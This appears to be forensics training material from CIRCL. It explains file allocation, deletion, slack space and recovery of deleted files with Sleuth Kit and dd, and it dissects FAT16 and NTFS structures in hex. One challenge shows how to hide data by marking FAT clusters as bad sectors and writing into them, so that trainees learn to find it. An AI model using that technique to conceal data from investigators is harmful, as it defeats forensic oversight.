   |                                  |        |                                |  ...
   |                                  |        |                                |  ...
   |                                  |        |                                |  ...
   |                                  |        |                                |  ...
   ----------------------------------        |                                |  ...
 3 |                                  |        |                                |  ...
   |              .....               |        |                                |  5014
   ----------------------------------        ------------------------------------
                                              |        |        |        |       |
                                              0        8       16       24      31
```

Allocation table:

1.1 Organizing data in files

```
- Organizing data on a volume
- Maintain file related meta data
- Maintain allocation status of clusters
```

```
                Metadata                                  Content
   ----------------------------------        ----------------------------------
 1 | Filename: file01.txt            |        |11111111111111111111111111111111| 5001
   | Time stamps: MACB               |        |11111111111111111111111111111111| 5002
   | Rights: Owner, Group, All       |        |1111                           | 5003
   | Size: 68 Byte                   |        |                               | 5004
   | Clusters: 5001,5002,5003        |        |                               | 5005
   |---------------------------------|        |                               | 5006
 2 |                                 |        |                               | ...
   |                                 |        |                               | ...
   |                                 |        |                               | ...
   |                                 |        |                               | ...
   |                                 |        |                               | ...
   ----------------------------------        |                               | ...
 3 |                                 |        |                               | ...
   |             .....               |        |                               | 5014
   ----------------------------------        ----------------------------------
                                              |       |       |       |      |
                                              0       8      16      24     31
```

Allocation table: 5001, 5002, 5003

1.1 Organizing data in files

```
- Organizing data on a volume
- Maintain file related meta data
- Maintain allocation status of clusters
```

```
                Metadata                                  Content
    ----------------------------------        ----------------------------------
  1 | Filename: file01.txt            |        |1111111111111111111111111111111111| 5001
    | Time stamps: MACB               |        |1111111111111111111111111111111111| 5002
    | Rights: Owner, Group, All       |        |1111                             | 5003
    | Size: 68 Byte                   |        |22222222222222222222222222222222222| 5004
    | Clusters: 5001,5002,5003        |        |2222222222222222222222           | 5005
    |---------------------------------|        |                                 | 5006
  2 | Filename: file02.txt            |        |                                 | ...
    | Time stamps: MACB               |        |                                 | ...
    | Rights: Owner, Group, All       |        |                                 | ...
    | Size: 55 Byte                   |        |                                 | ...
    | Clusters: 5004, 5005            |        |                                 | ...
    ----------------------------------        |                                 | ...
  3 |                                 |        |                                 | ...
    |             .....               |        |                                 | 5014
    ----------------------------------        ----------------------------------
                                               |       |       |       |      |
                                               0       8      16      24     31
```

Allocation table: 5001, 5002, 5003, 5004, 5005

1.2 Deleting a file

```
- Organizing data on a volume
- Maintain file related meta data
- Maintain allocation status of clusters
```

```
              Metadata                                  Content
   ----------------------------------        ----------------------------------
 1 | Filename: file01.txt            |        |11111111111111111111111111111111| 5001
   | Time stamps: MACB               |        |11111111111111111111111111111111| 5002
   | Rights: Owner, Group, All       |        |1111                           | 5003
   | Size: 68 Byte                   |        |22222222222222222222222222222222| 5004
   | Clusters: 5001,5002,5003        |        |22222222222222222222           | 5005
   |---------------------------------|        |                               | 5006
 2 | Filename: file02.txt (deleted)  |        |                               | ...
   | Time stamps: MACB               |        |                               | ...
   | Rights: Owner, Group, All       |        |                               | ...
   | Size: 55 Byte                   |        |                               | ...
   | Clusters: 5004, 5005            |        |                               | ...
   ----------------------------------        |                               | ...
 3 |                                 |        |                               | ...
   |             .....               |        |                               | 5014
   ----------------------------------        ----------------------------------
                                              |       |       |       |      |
                                              0       8      16      24     31
```

Allocation table: 5001, 5002, 5003

1.3 Slack space - FileSlack

```
- Metadata: Case 1: Re-Use Metadata
- Content: End of sector: Filled with zeros (RAM slack)
- Content: End of cluter: Don't touch (File slack)
```

```
                Metadata                                  Content
    ----------------------------------        ----------------------------------
  1 | Filename: file01.txt            |        |11111111111111111111111111111111| 5001
    | Time stamps: MACB               |        |11111111111111111111111111111111| 5002
    | Rights: Owner, Group, All       |        |1111                           | 5003
    | Size: 68 Byte                   |        |3333333333      2222222222222222| 5004
    | Clusters: 5001,5002,5003        |        |22222222222222222222222        | 5005
    |---------------------------------|        |                               | 5006
  2 | Filename: file03.txt            |        |                               | ...
    | Time stamps: MACB               |        |                               | ...
    | Rights: Owner, Group, All       |        |                               | ...
    | Size: 10 Byte                   |        |                               | ...
    | Clusters: 5004                  |        |                               | ...
    ----------------------------------        |                               | ...
  3 |                                 |        |                               | ...
    |             .....               |        |                               | 5014
    ----------------------------------        ----------------------------------
                                               |       |       |       |      |
                                               0       8      16      24     31

      Allocation table: 5001, 5002, 5003, 5004
```

1.3 Slack space - FileSlack

```
- Metadata: Case 2: New Metadata
- Content: End of sector: Filled with zeros (RAM slack)
- Content: End of cluter: Don't touch (File slack)
```

```
                Metadata                                  Content
   ----------------------------------        ----------------------------------
 1 | Filename: file01.txt            |        |11111111111111111111111111111111| 5001
   | Time stamps: MACB               |        |11111111111111111111111111111111| 5002
   | Rights: Owner, Group, All       |        |1111                           | 5003
   | Size: 68 Byte                   |        |3333333333      2222222222222222| 5004
   | Clusters: 5001,5002,5003        |        |22222222222222222222222        | 5005
   |---------------------------------|        |                               | 5006
 2 | Filename: file02.txt (deleted)  |        |                               | ...
   | Time stamps: MACB               |        |                               | ...
   | Rights: Owner, Group, All       |        |                               | ...
   | Size: 55 Byte                   |        |                               | ...
   | Clusters: 5004, 5005            |        |                               | ...
   ----------------------------------        |                               | ...
 3 | Filename: file03.txt            |        |                               | ...
   | Time stamps: MACB               |        |                               | ...
   | Rights: Owner, Group, All       |        |                               | 5014
   | Size: 10 Byte                   |        ----------------------------------
   | Clusters: 5004                  |         |       |       |       |      |
   ----------------------------------         0       8      16      24     31

      Allocation table: 5001, 5002, 5003, 5004
```

1.4 Data Recovery

```
# Recover sectors
# Read from disk and write into a file
dd if=deleted.raw of=file02.txt bs=32 skip=5003 count=2
```

```
                Metadata                                  Content
   ----------------------------------        ------------------------------------
 1 | Filename: file01.txt            |        |11111111111111111111111111111111| 5001
   | Time stamps: MACB               |        |11111111111111111111111111111111| 5002
   | Rights: Owner, Group, All       |        |1111                           | 5003
   | Size: 68 Byte                   |        |3333333333      2222222222222222| 5004
   | Clusters: 5001,5002,5003        |        |22222222222222222222222        | 5005
   |---------------------------------|        |                               | 5006
 2 | Filename: file02.txt (deleted)  |        |                               | ...
   | Time stamps: MACB               |        |                               | ...
   | Rights: Owner, Group, All       |        |                               | ...
   | Size: 55 Byte                   |        |                               | ...
   | Clusters: 5004, 5005            |        |                               | ...
   ----------------------------------        |                               | ...
 3 | Filename: file03.txt            |        |                               | ...
   | Time stamps: MACB               |        |                               | ...
   | Rights: Owner, Group, All       |        |                               | 5014
   | Size: 10 Byte                   |        ------------------------------------
   | Clusters: 5004                  |         |       |       |       |      |
   ----------------------------------         0       8      16      24     31

      Allocation table: 5001, 5002, 5003, 5004
```

1.4 Data Recovery

```
# Recover exisiting (deleted) file
# Based on metadata
icat deleted.raw 3 > file03.txt
```

```
              Metadata                                  Content
   ----------------------------------        ----------------------------------
 1 | Filename: file01.txt            |        |11111111111111111111111111111111| 5001
   | Time stamps: MACB               |        |11111111111111111111111111111111| 5002
   | Rights: Owner, Group, All       |        |1111                           | 5003
   | Size: 68 Byte                   |        |3333333333      2222222222222222| 5004
   | Clusters: 5001,5002,5003        |        |22222222222222222222222        | 5005
   |---------------------------------|        |                               | 5006
 2 | Filename: file02.txt (deleted)  |        |                               | ...
   | Time stamps: MACB               |        |                               | ...
   | Rights: Owner, Group, All       |        |                               | ...
   | Size: 55 Byte                   |        |                               | ...
   | Clusters: 5004, 5005            |        |                               | ...
   ----------------------------------        |                               | ...
 3 | Filename: file03.txt (deleted)  |        |                               | ...
   | Time stamps: MACB               |        |                               | 5014
   | Rights: Owner, Group, All       |        ----------------------------------
   | Size: 10 Byte                   |         |       |       |       |      |
   | Clusters: 5004                  |         0       8      16      24     31
   ----------------------------------

      Allocation table: 5001, 5002, 5003
```

1.4 Data Recovery

```
# Recover overwritten file
# Based on metadata
icat deleted.raw 2 > file02.txt
```

```
              Metadata                                  Content
   ----------------------------------        ----------------------------------
 1 | Filename: file01.txt            |        |11111111111111111111111111111111| 5001
   | Time stamps: MACB               |        |11111111111111111111111111111111| 5002
   | Rights: Owner, Group, All       |        |1111                           | 5003
   | Size: 68 Byte                   |        |3333333333      2222222222222222| 5004
   | Clusters: 5001,5002,5003        |        |22222222222222222222222        | 5005
   |---------------------------------|        |                               | 5006
 2 | Filename: file02.txt (deleted)  |        |                               | ...
   | Time stamps: MACB               |        |                               | ...
   | Rights: Owner, Group, All       |        |                               | ...
   | Size: 55 Byte                   |        |                               | ...
   | Clusters: 5004, 5005            |        |                               | ...
   ----------------------------------        |                               | ...
 3 | Filename: file03.txt (deleted)  |        |                               | ...
   | Time stamps: MACB               |        |                               | 5014
   | Rights: Owner, Group, All       |        ----------------------------------
   | Size: 10 Byte                   |         |       |       |       |      |
   | Clusters: 5004                  |         0       8      16      24     31
   ----------------------------------

      Allocation table: 5001, 5002, 5003
```

1.5 The Sleuth Kit

```
mmstat        # Volume system information
mmls          # List partition table
mmcat         # Cat a partition

fsstat        # File system information

fls           # List files and directories
fcat          # Cat a file
ffind         # Find filename of an inode

istat         # Inode information
ils           # List inodes
icat          # Cat an inode
ifind         # Find inode of a sector

blkstat       # Information of a data unit
blkls         # Output data units
blkcat        # Cat a data unit

jls           # List content of journal
jcat          # Cat a block from journal

mactime       # File system time line
srch_strings  # Display printable characters
hfind         # Hash database lookup
....
```

1.5 The Sleuth Kit: Exercise

Recover deleted files from `/carving/deleted.dd`

```
# File system information
$
```

```
# List files
$
```

```
# Recover files based on inode numbers
$
$
$
```

1.5 The Sleuth Kit: Exercise

Recover deleted files from `/carving/deleted.dd`

```
# File system information
$ fsstat deleted.dd
      FILE SYSTEM INFORMATION
      --------------------------------------------
      File System Type: NTFS
      Volume Serial Number: 4978FE7D06B65661
      OEM Name: NTFS
      Version: Windows XP

      CONTENT INFORMATION
      --------------------------------------------
      Sector Size: 512
      Cluster Size: 4096

# List files
$ 
```

```
# Recover files based on inode numbers
$
$
$
```

1.5 The Sleuth Kit: Exercise

Recover deleted files from `/carving/deleted.dd`

```
# File system information
$ fsstat deleted.dd
      FILE SYSTEM INFORMATION
      --------------------------------------------
      File System Type: NTFS
      Volume Serial Number: 4978FE7D06B65661
      OEM Name: NTFS
      Version: Windows XP

      CONTENT INFORMATION
      --------------------------------------------
      Sector Size: 512
      Cluster Size: 4096

# List files
$ fls -r deleted.dd
      ....
      + -/r * 70-128-2:       aware.jpg
      + -/r * 71-128-2:       cases.jpg
      + -/r * 72-128-2:       circl.png
      .....

# Recover files based on inode numbers
$
$
$
```

1.5 The Sleuth Kit: Exercise

Recover deleted files from `/carving/deleted.dd`

```
# File system information
$ fsstat deleted.dd
      FILE SYSTEM INFORMATION
      --------------------------------------------
      File System Type: NTFS
      Volume Serial Number: 4978FE7D06B65661
      OEM Name: NTFS
      Version: Windows XP

      CONTENT INFORMATION
      --------------------------------------------
      Sector Size: 512
      Cluster Size: 4096

# List files
$ fls -r deleted.dd
      ....
      + -/r * 70-128-2:       aware.jpg
      + -/r * 71-128-2:       cases.jpg
      + -/r * 72-128-2:       circl.png
      .....

# Recover files based on inode numbers
$ icat deleted.dd 70 > aware.jpg
$ icat deleted.dd 71 > cases.jpg
$ icat deleted.dd 72 > circl.png
```

1.6 File slack and unallocted cluster

- Slack: Manual approach with dd

```
$ fsstat deleted.dd              Sector Size: 512
                                 Cluster Size: 4096

$ fls -r deleted.dd              + -/r * 72-128-2: circl.png

$ istat deleted.dd 72            size: 12071 (0x2F27)
                                 1131 1132 1133

$ echo $(( (3*4096) - 12071 ))   217

$ dd if=deleted.dd bs=4096 skip=1131 count=3 | xxd | less
```

- Slack: Automated approach with The Sleuthkit

```
$ blkls -s -b 4096 deleted.dd | strings | less
$ blkls -s -b 4096 usb.dd | strings | less
```

- Cluster: (Un)allocated

```
blkls -a -b 4096 deleted.dd | xxd | less        # Allocated blocks
blkls -A -b 4096 deleted.dd | xxd | less        # Unallocated blocks
blkls -e -b 4096 deleted.dd | xxd | less        # All blocks
```

CIRCL
FORENSICS Training

2. FAT - File Allocation Table

2.1 FAT file system structure

- Layout and VBR Example

```
-----------------------------------
|      Volume Boot Record         |
-----------------------------------  S
|              FAT1               |  y
-----------------------------------  s
|              FAT2               |
-----------------------------------
|        Root Directory           |
|                                 |
|                                 |  D
|                                 |  a
|     Directories & Files         |  t
|                                 |  a
|                                 |
-----------------------------------
```

```
0000: eb3c 906d 6b66 732e 6661 7400 0204 0400
0010: 0200 0200 00f8 4000 2000 4000 0000 0000
0020: 0000 0100 8000 2974 6812 e84e 4f20 4e41
0030: 4d45 2020 2020 4641 5431 3620 2020 0e1f
0040: be5b 7cac 22c0 740b 56b4 0ebb 0700 cd10
0050: 5eeb f032 e4cd 16cd 19eb fe54 6869 7320
.....

Exercise: fat16.dd = 33.554.432 Byte
Can you calculate the size or this FAT16?
```

- VBR interpretation

```
Offset      Length   Item              Interpretation
00 (0x00)   3        Jump bootstrap    JMP 62 NOP
03 (0x03)   8        OEM name          mkfs.fat
11 (0x0B)   2        Bytes/sector      0x0002 --> 0x0200 =  512 Bytes
13 (0x0D)   1        Sectors/Cluster   0x04               = 2048 Bytes
14 (0x0E)   2        Sector before FS  0x0400 --> 0x0004 =    4 Sectors
16 (0x10)   1        Copies of FAT     0x02
.....
```

2.1 FAT file system structure

- Layout and VBR Example

```
|        Volume Boot Record        |
|----------------------------------|  S
|              FAT1                |  y
|----------------------------------|  s
|              FAT2                |
|----------------------------------|
|          Root Directory          |
|                                  |
|                                  |  D
|                                  |  a
|       Directories & Files        |  t
|                                  |  a
|                                  |
```

```
0000: eb3c 906d 6b66 732e 6661 7400 0204 0400
0010: 0200 0200 00f8 4000 2000 4000 0000 0000
0020: 0000 0100 8000 2974 6812 e84e 4f20 4e41
0030: 4d45 2020 2020 4641 5431 3620 2020 0e1f
0040: be5b 7cac 22c0 740b 56b4 0ebb 0700 cd10
0050: 5eeb f032 e4cd 16cd 19eb fe54 6869 7320
.....

Exercise: fat16.dd = 33.554.432 Byte
Can you calculate the size or this FAT16?

    1. Clusters total: 33554432 / 2048 = 16384
    2. Bytes needed:         16384 * 2 = 32768
    3. Sectors needed:     32768 / 512 = 64
```

- VBR interpretation

Offset	Length	Item	Interpretation
00 (0x00)	3	Jump bootstrap	JMP 62 NOP
03 (0x03)	8	OEM name	mkfs.fat
11 (0x0B)	2	Bytes/sector	0x0002 —> 0x0200 = 512 Bytes
13 (0x0D)	1	Sectors/Cluster	0x04 = 2048 Bytes
14 (0x0E)	2	Sector before FS	0x0400 —> 0x0004 = 4 Sectors
16 (0x10)	1	Copies of FAT	0x02

.....

2.2 FAT components simplified

```
Root Directory:

    Name      Ext     Start    Size                 File content:
  ------------------------------------ |          ------------------------------
    file_A    txt         3      29    |          aaaaaaaaaaaaaaaaaaaaaaaaaaaa
    file_B    txt         7       4    |          bbbb
          .....

  FAT: FAT16 in this example
    ------------------------------------------------------------------------------
    |f8ff|ffff|0000|0004|0005|000C|0000|ffff|0000|0000|0000|0000|ffff|0000|
    ------------------------------------------------------------------------------
      0    1    2    3    4    5    6    7    8    9    A    B    C    D
     Reserved

Data Clusters: (Size of 8 characters)
    ------------------------------------------------------------------------------
    |        |aaaaaaaa|aaaaaaaa|aaaaaaaa|        |bbbb    |        |        |
    ------------------------------------------------------------------------------
        0        1        2        3        4        5        6        7
    ------------------------------------------
    |        |        |aaaaa   |        |
    ------------------------------------------
        8        9        A        B
```

2.3 FAT Filesystems

- Examine the FAT16

```
fsstat FAT/fat16.dd
     .....
     Total Range: 0 - 65535
     * Reserved: 0 - 3
     ** Boot Sector: 0
     * FAT 0: 4 - 67
     * FAT 1: 68 - 131
     * Data Area: 132 - 65535
     ** Root Directory: 132 - 163
     ** Cluster Area: 164 - 65535
     .....
     Sector Size: 512
     Cluster Size: 2048
     Total Cluster Range: 2 - 16344
```

- Test files:

```
     5000 Nov 27 14:21 file01.txt
       50 Nov 28 10:38 file02.txt

file01.txt
     .....AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.....

file02.txt
     .....XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX.....
```

2.4 FAT file system analyzed

```
Root Directory: dd if=FAT/fat16.dd skip=132 count=1 | xxd | less

     0020: 4649 4c45 3031 2020 5458 5420 0064 c46a  FILE01  TXT .d.j
     0030: 7b4d 7b4d 0000 c46a 7b4d 0300 8813 0000  {M{M...j{M......
     .....
     0060: 4649 4c45 3032 2020 5458 5420 0064 104d  FILE02  TXT .d.M
     0070: 7c4d 7c4d 0000 104d 7c4d 0600 3200 0000  |M|M...M|M..2...

     Offset       Length   Item              Interpretation
     00 (0x00)    11       File Name         FILE01  TXT
     .....
     26 (0x1A)     2       Low Cluster       0x0300 --> 03
     28 (0x1C)     4       Size in Byes      0x8813 --> 0x1388 == 5000


FAT: dd if=FAT/fat16.dd skip=4 count=1 | xxd | less

     0000: f8ff ffff 0000 0400 0500 ffff ffff 0000  ................


Data Clusters:

     dd if=FAT/fat16.dd skip=164 count=4 | xxd | less    ................
     dd if=FAT/fat16.dd skip=168 count=4 | xxd | less    AAAAAAAAAAAAAAAA
     dd if=FAT/fat16.dd skip=172 count=4 | xxd | less    AAAAAAAAAAAAAAAA
     dd if=FAT/fat16.dd skip=176 count=4 | xxd | less    AAAAAAAA........
     dd if=FAT/fat16.dd skip=180 count=4 | xxd | less    XXXXX...........
```

2.5 FAT Exercise: Delete file01.txt

```
Root Directory: dd if=FAT/fat16.dd skip=132 count=1 | xxd | less

     0020: e549 4c45 3031 2020 5458 5420 0064 c46a  .ILE01  TXT .d.j
     0030: 7b4d 7b4d 0000 c46a 7b4d 0300 8813 0000  {M{M...j{M......
     .....
     0060: 4649 4c45 3032 2020 5458 5420 0064 104d  FILE02  TXT .d.M
     0070: 7c4d 7c4d 0000 104d 7c4d 0600 3200 0000  |M|M...M|M..2...

     Offset       Length   Item              Interpretation
     00 (0x00)    11       File Name         .ILE01  TXT
     .....
     26 (0x1A)     2       Low Cluster       0x0300 --> 03
     28 (0x1C)     4       Size in Byes      0x8813 --> 0x1388 == 5000


FAT: dd if=FAT/fat16.dd skip=4 count=1 | xxd | less

     0000: f8ff ffff 0000 0000 0000 0000 ffff 0000  ................


Data Clusters:

     dd if=FAT/fat16.dd skip=164 count=4 | xxd | less    ................
     dd if=FAT/fat16.dd skip=168 count=4 | xxd | less    AAAAAAAAAAAAAAAA
     dd if=FAT/fat16.dd skip=172 count=4 | xxd | less    AAAAAAAAAAAAAAAA
     dd if=FAT/fat16.dd skip=176 count=4 | xxd | less    AAAAAAAA........
     dd if=FAT/fat16.dd skip=180 count=4 | xxd | less    XXXXX...........
```

2.6 FAT Exercise: Create subdirectory

```
Root Directory: dd if=FAT/fat16.dd skip=132 count=1 | xxd | less

     0020: 5445 5354 4449 5220 2020 2010 0000 334d  TESTDIR    ...3M
     0030: 7d4f 7d4f 0000 334d 7d4f 0300 0000 0000  }O}O..3M}O......
     .....
     0060: 4649 4c45 3032 2020 5458 5420 0064 104d  FILE02  TXT .d.M
     0070: 7c4d 7c4d 0000 104d 7c4d 0600 3200 0000  |M|M...M|M..2...

     Offset      Length   Item              Interpretation
     00 (0x00)   11       File Name         TESTDIR
     .....
     26 (0x1A)    2       Low Cluster       0x0300 ---> 03
     28 (0x1C)    4       Size in Byes      0x00000000


FAT: dd if=FAT/fat16.dd skip=4 count=1 | xxd | less

     0000: f8ff ffff 0000 ffff 0000 0000 ffff 0000  ................


Data Clusters: dd if=FAT/fat16.dd skip=168 count=4 | xxd | less

     0000: 2e20 2020 2020 2020 2020 2010 0000 cc4c  .           ....L
     0010: 7d4f 7d4f 0000 cc4c 7d4f 0300 0000 0000  }O}O...L}O......
     0020: 2e2e 2020 2020 2020 2020 2010 0000 cc4c  ..          ....L
     0030: 7d4f 7d4f 0000 cc4c 7d4f 0000 0000 0000  }O}O...L}O......
-
```

2.7 FAT Exercise: File slack

```
Root Directory: dd if=FAT/fat16.dd skip=132 count=1 | xxd | less

    0020: 2e2e 2020 2020 2020 2020 2010 0000 cc4c  ..          ....L
    0030: 7d4f 7d4f 0000 cc4c 7d4f 0000 0000 0000  }O}O...L}O......
    .....
    0060: 4649 4c45 3737 2020 5458 5420 0000 334d  FILE77  TXT ..3M
    0070: 7d4f 7d4f 0000 334d 7d4f 0400 2500 0000  }O}O..3M}O..%...


    Offset      Length   Item              Interpretation
    00 (0x00)   11       File Name         FILE77  TXT
    .....
    26 (0x1A)    2       Low Cluster       0x0400 --> 04
    28 (0x1C)    4       Size in Byes      0x25000000 --> 0x25 == 37


FAT: dd if=FAT/fat16.dd skip=4 count=1 | xxd | less

    0000: f8ff ffff 0000 ffff ffff 0000 ffff 0000  ................


Data Clusters:

    dd if=FAT/fat16.dd skip=172 count=4 | xxd | less    1234567890ABCDEF
                                                        ................
                                                        AAAAAAAAAAAAAAAA
                                                        AAAAAAAAAAAAAAAA
    dd if=FAT/fat16.dd skip=176 count=4 | xxd | less    AAAAAAAA........
```

2.8 Challenge: FAT Hiding data in Bad Sectors

Preparation FAT:

```
1. Mount fat16.bad and delete all files

2. Ensure that the FAT 0 and FAT 1 are empty

  $ dd if=fat16.bad skip=0 count=132 status=none | xxd | less

    00800: f8ff ffff 0000 0000 0000 0000 0000 0000  ................
    .....
    08800: f8ff ffff 0000 0000 0000 0000 0000 0000  ................

3. FAT: Mark sector as defect

     00800   F8FF FFFF 0000 0000 FFF7 FFF7 0000 0000  ................
     .....
     08800   F8FF FFFF 0000 0000 FFF7 FFF7 0000 0000  ................

4. Review your changes

  $ dd if=fat16.bad skip=0 count=132 status=none | xxd | less

     00800   F8FF FFFF 0000 0000 FFF7 FFF7 0000 0000  ................
     .....
     08800   F8FF FFFF 0000 0000 FFF7 FFF7 0000 0000  ................
```

2.8 Challenge: FAT Hiding data in Bad Sectors

Preparation Hidden Data:

```
5. Calculate: Which cluster are marked as defect

    —> 3rd and 4th FAT entries are marked as defect
    —> 1th data cluster start: Sector 164
       2nd data cluster start: Sector 168
       3rd data ckuster start: Sector 172
       4th data cluster start: Sector 176
                 Cluster 3 is marked as bad
                 164 + (2 * 4) = 172
    —> We can use cluster 3, 4 (sector 172 — 179) to hide data
    —> Byte offset: 172 * 512 = 88064
                              = 0x15800


6. Data Cluster: Hide your secrets

     15800   2020 2020 2020 2020 2020 2020 2020 2020
     15810   4D79 2073 6563 7265 743A 2020 2020 2020  My secret:
     15820   6131 6232 6333 6434 6535 6636 6737 6838  a1b2c3d4e5f6g7h8
     15830   2020 2020 2020 2020 2020 2020 2020 2020


7. Mount disk and copy large file

    sudo mount fat16.bad /mnt/
    sudo cp file_O.txt /mnt/
    sudo umount /mnt/
```

2.8 Challenge: FAT Hiding data in Bad Sectors

Analyze:

1. Root Directory:

```
dd if=fat16.bad skip=132 count=1 | xxd | less

   0020: 4649 4c45 5f4f 2020 5458 5420 0023 ca66  FILE_O  TXT .#.f
   0030: 8456 8456 0000 ca66 8456 0300 1027 0000  .V.V...f.V...'..
```

2. FAT

```
dd if=fat16.bad skip=0 count=132 status=none | xxd | less

   0800: f8ff ffff 0000 0600 fff7 fff7 0700 0800  ................
   0810: 0900 ffff 0000 0000 0000 0000 0000 0000  ................
```

3. Data:

```
dd if=fat16.play skip=168 count=16 status=none | xxd | less

   00000000: 4f4f 4f4f 4f4f 4f4f 4f4f 4f4f 4f4f 4f4f  OOOOOOOOOOOOOOOO
   .....
   00000810: 4d79 2073 6563 7265 743a 2020 2020 2020  My secret:
   00000820: 6131 6232 6333 6434 6535 6636 6737 6838  a1b2c3d4e5f6g7h8
   .....
   00001800: 4f4f 4f4f 4f4f 4f4f 4f4f 4f4f 4f4f 4f4f  OOOOOOOOOOOOOOOO
   .....
```

CIRCL
FORENSICS Training

3. NTFS

3.1 NTFS file system structure

- NTFS - New Technology File System
- Everything is a file

```
        ____________________________________
        | $Boot                            |
        | $MFT                             |
        |                                  |
        | $LogFile                         |
D       | $Volume                          |
a       | $AttrDef                         |
t       | $Bitmap                          |
a       | $BadClus                         |
        | $Secure                          |
C       | $UpCase                          |
l       |                                  |
u       |                                  |
s       |                                  |
t       | Other Files                      |
e       | Other Files                      |
r       |                                  |
s       |                                  |
        |                                  |
        |                                  |
        | $MFTMirr                         |
        |                                  |
        ____________________________________
              Partition (Volume)
```

```
$MFT — Master File table
Describes all files on the volume

$MFTMirr — MFT Backup
Backup the first 4 MFT entries

$LogFile
Transaction Logs

$Volume
Information about the volume

$Bitmap
Allocation status of all clustera\s

$Boot
Volume Boot Record

$BadClus
All clusters marked as having bad sectors

      .....
      .....
```

3.2 Volume Boot Record - As a file - Exercise

```
mmls ntfs.raw

      Slot      Start        End          Length       Description
000:  Meta      0000000000   0000000000   0000000001   Primary Table (#0)
001:  --------  0000000000   0000002047   0000002048   Unallocated
002:  000:000   0000002048   0000262143   0000260096   NTFS / exFAT (0x07)


fsstat -o 2048 /media/michael/NTFS2/NTFS/ntfs.raw

FILE SYSTEM INFORMATION
--------------------------------------------
File System Type: NTFS
Volume Serial Number: 6F77CE2F09C42DF9
OEM Name: NTFS
Volume Name: circl_dfir

METADATA INFORMATION
--------------------------------------------
First Cluster of MFT: 4
First Cluster of MFT Mirror: 16255
Size of MFT Entries: 1024 bytes

CONTENT INFORMATION
--------------------------------------------
Sector Size: 512
Cluster Size: 4096
Total Cluster Range: 0 - 32510
Total Sector Range: 0 - 260094
```

3.2 Volume Boot Record - As a file - Exercise

```
$ fls -o 2048 ntfs.raw

        r/r 4-128-1:    $AttrDef
        r/r 8-128-2:    $BadClus
        r/r 6-128-1:    $Bitmap
        r/r 7-128-1:    $Boot
        r/r 2-128-1:    $LogFile
        r/r 0-128-1:    $MFT
        r/r 1-128-1:    $MFTMirr
        r/r 9-128-2:    $Secure:$SDS
        r/r 10-128-1:   $UpCase
        r/r 3-128-3:    $Volume
```

3.2 Volume Boot Record - As a file - Exercise

```
$ fls -o 2048 ntfs.raw

        r/r 4-128-1:    $AttrDef
        r/r 8-128-2:    $BadClus
        r/r 6-128-1:    $Bitmap
        r/r 7-128-1:    $Boot
        r/r 2-128-1:    $LogFile
        r/r 0-128-1:    $MFT
        r/r 1-128-1:    $MFTMirr
        r/r 9-128-2:    $Secure:$SDS
        r/r 10-128-1:   $UpCase
        r/r 3-128-3:    $Volume


$ istat -o 2048 ntfs.raw 7

        MFT Entry Header Values:
        .....

        $STANDARD_INFORMATION Attribute Values:
        .....

        $FILE_NAME Attribute Values:
        .....

        Attributes:
        .....
        Type: $DATA (128-1)   Name: N/A   Non-Resident   size: 8192   init_size: 8192
        0 1
```

3.2 Volume Boot Record - As a file - Exercise

-

3.2 Volume Boot Record - As a file - Exercise

```
$ icat -o 2048 ntfs.raw 7 > 7.raw

$ ls -l 7.raw
    -rw-rw-r-- 1 michael michael 8192 Apr 18 11:39 7.raw
```

-

3.2 Volume Boot Record - As a file - Exercise

```
$ icat -o 2048 ntfs.raw 7 > 7.raw

$ ls -l 7.raw
    -rw-rw-r-- 1 michael michael 8192 Apr 18 11:39 7.raw

$ xxd 7.raw | less
    0000: eb52 904e 5446 5320 2020 2000 0208 0000  .R.NTFS    .....
    0010: 0000 0000 00f8 0000 0000 0000 0000 0000  ................
    0020: 0000 0000 8000 8000 fff7 0300 0000 0000  ................
    0030: 0400 0000 0000 0000 7f3f 0000 0000 0000  .........?......
    0040: f600 0000 0100 0000 f92d c409 2fce 776f  ........-../.wo
    0050: 0000 0000 0e1f be71 7cac 22c0 740b 56b4  .......q|."t.V.
    0060: 0ebb 0700 cd10 5eeb f032 e4cd 16cd 19eb  ......^..2......
    0070: fe54 6869 7320 6973 206e 6f74 2061 2062  .This is not a b
    0080: 6f6f 7461 626c 6520 6469 736b 2e20 506c  ootable disk. Pl
    0090: 6561 7365 2069 6e73 6572 7420 6120 626f  ease insert a bo
    00a0: 6f74 6162 6c65 2066 6c6f 7070 7920 616e  otable floppy an
    00b0: 640d 0a70 7265 7373 2061 6e79 206b 6579  d..press any key
    00c0: 2074 6f20 7472 7920 6167 6169 6e20 2e2e   to try again ..
    00d0: 2e20 0d0a 0000 0000 0000 0000 0000 0000  . ..............
    00e0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
    .....
    .....
```

Extra Exercise: `$ dd if=ntfs.raw of=7xyz.raw bs=512 skip=2048 count=16`

3.2 Volume Boot Record - Inside

```
00000000: eb52 904e 5446 5320 2020 2000 0208 0000  .R.NTFS    .....
00000010: 0000 0000 00f8 0000 0000 0000 0000 0000  ................
00000020: 0000 0000 8000 8000 fff7 0300 0000 0000  ................
00000030: 0400 0000 0000 0000 7f3f 0000 0000 0000  .........?......
00000040: f600 0000 0100 0000 f92d c409 2fce 776f  .........—../.wo
00000050: 0000 0000 0e1f be71 7cac 22c0 740b 56b4  .......q|.".t.V.
00000060: 0ebb 0700 cd10 5eeb f032 e4cd 16cd 19eb  ......^..2......
00000070: fe54 6869 7320 6973 206e 6f74 2061 2062  .This is not a b
00000080: 6f6f 7461 626c 6520 6469 736b 2e20 506c  ootable disk. Pl
00000090: 6561 7365 2069 6e73 6572 7420 6120 626f  ease insert a bo
000000a0: 6f74 6162 6c65 2066 6c6f 7070 7920 616e  otable floppy an
  .....
000001e0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000001f0: 0000 0000 0000 0000 0000 0000 0000 55aa  ..............U.
```

	Offset:	Length:	Content:	Description:
	0000	3	JMP 52	Jump to bootcode at 54h
	0003	8	NTFS	OEM ID
———	000B	2	00 02	Bytes per sector
BIOS	000D	1	08	Sectors per cluster
P.M.	0028	8	fff7 0300	262135 sectors in total
Block	0030	8	04	MFT start cluster
———	0040	1	f6	Size of MFT records: 10 —> 2^10 = 1.024
	0054	426		Bootstrap code
	01FE	2	55 AA	End of sctor signature

3.3 Master File Table

- Overview:
  - MFT maintain 1 record per file/directory
  - Size: 1024 Bytes per record
  - In NTFS everything is a file
    → Incl. meta files like $MFT
- MFT: Record Structure

```
Header        Attributes   End              Empty            Error
___________ ___________ ___________________ ________________
